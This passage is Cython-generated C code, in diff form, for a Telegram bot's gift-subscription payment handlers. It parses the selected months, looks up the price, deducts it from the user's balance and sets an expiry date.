__pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 42; + __Pyx_GIVEREF(__pyx_kp_u_b); + PyTuple_SET_ITEM(__pyx_t_7, 6, __pyx_kp_u_b); + + /* "handlers/payments/gift.py":128 + * await callback_query.message.answer( + * text=( + * f" :\n" # <<<<<<<<<<<<<< + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + * f": {price} \n\n" + */ + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_7, 7, __pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":133 + * " ." + * ), + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_9 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":126 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" :\n" + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 126, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 126, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_AddTraceback("confirm_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_13finalize_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_12finalize_gift_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\277\320\276\320\264\321\202\320\262\320\265\321\200\320\266\320\264\320\265\320\275\320\270\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_13finalize_gift_handler = {"finalize_gift_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_13finalize_gift_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_12finalize_gift_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_13finalize_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + CYTHON_UNUSED PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("finalize_gift_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 1); __PYX_ERR(0, 137, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 2); __PYX_ERR(0, 137, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "finalize_gift_handler") < 0)) __PYX_ERR(0, 137, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 137, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_12finalize_gift_handler(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_12finalize_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("finalize_gift_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 137, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_14generator4, __pyx_codeobj__32, (PyObject *) __pyx_cur_scope, __pyx_n_s_finalize_gift_handler, __pyx_n_s_finalize_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + Py_ssize_t __pyx_t_12; + Py_UCS4 __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_t_16; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + char const *__pyx_t_19; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("finalize_gift_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L12_resume_from_await; + case 3: goto __pyx_L13_resume_from_await; + case 4: goto __pyx_L17_resume_from_await; + case 5: goto __pyx_L25_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/gift.py":140 + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + * selected_months = callback_query.data.split("|")[1] # <<<<<<<<<<<<<< + * price = RENEWAL_PRICES.get(selected_months, None) + * tg_id = callback_query.from_user.id + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__26}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":141 + * """ .""" + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) # <<<<<<<<<<<<<< + * tg_id = callback_query.from_user.id + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_selected_months, Py_None}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_price = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":142 + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) + * tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< + * + * if not price: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":144 + * tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 144, __pyx_L1_error) + __pyx_t_6 = (!__pyx_t_5); + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":145 + * + * if not price: + * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__28, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 145, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 145, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":146 + * if not price: + * await callback_query.answer(" . .", show_alert=True) + * return # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":144 + * tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + } + + /* "handlers/payments/gift.py":148 + * return + * + * try: # <<<<<<<<<<<<<< + * await update_balance(tg_id, -price) + * + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/gift.py":149 + * + * try: + * await update_balance(tg_id, -price) # <<<<<<<<<<<<<< + * + * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_price); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_10, __pyx_cur_scope->__pyx_v_tg_id, __pyx_t_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 149, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 149, __pyx_L6_error) + } + } + + /* "handlers/payments/gift.py":151 + * await update_balance(tg_id, -price) + * + * expiry_time = datetime.utcnow() + timedelta(days=int(selected_months) * 30) # <<<<<<<<<<<<<< + * + * gift_id = f"{uuid.uuid4().hex}" + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_datetime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_utcnow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + 